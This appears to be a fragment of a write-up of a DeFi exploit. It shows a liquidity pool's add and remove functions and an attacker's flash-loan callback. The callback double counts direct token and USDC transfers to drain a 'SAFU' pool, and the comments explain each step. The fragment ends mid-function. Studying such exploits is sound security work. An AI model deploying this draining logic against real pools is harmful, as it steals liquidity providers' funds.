function addLiquidity(uint256 _baseAmount, uint256 _tokenAmount) public returns (uint liquidityUnits) { IERC20(BASE).transferFrom(msg.sender,address(this),_baseAmount); IERC20(TOKEN).transferFrom(msg.sender,address(this),_tokenAmount); liquidityUnits = addLiquidityForMember(msg.sender); }
移除流动性:
function removeAllLiquidity() public returns (uint outputBase, uint outputToken) { transfer(address(this),balanceOf(msg.sender)); // transfer all LP units for withdrawing liq return removeLiquidityForMember(msg.sender); }
/// @dev Uniswap flashloan callback /// @dev Swaps done in batches b/c extra fees for large swaps function uniswapV2Call( address _sender, uint256 _amount0, // usdc uint256 _amount1, bytes calldata _data ) external { require(msg.sender == address(pair), 'callback');
for (uint i=0; i<5; ++i) { safuPool.swap(address(safu),8_000*1e18); // get some SAFU tokens }
uint256 safuAmount = safu.balanceOf(address(this)); safuPool.addLiquidity(safuAmount, safuAmount); // add equal parts tokens for liq
for (uint i=0; i<5; ++i) { safuPool.swap(address(safu),8_000*1e18); // get more SAFU tokens }
safuAmount = safu.balanceOf(address(this)); safu.transfer(address(safuPool),safuAmount); // transfer all SAFU usdc.transfer(address(safuPool),600_000*1e18); // transfer large amount of USDC
safuPool.removeAllLiquidity(); // effectively double counts the transfers done earlier safuPool.addLiquidity(0,0); // get LP which is the double counted safuPool.removeAllLiquidity(); // get base funds for the double counted LP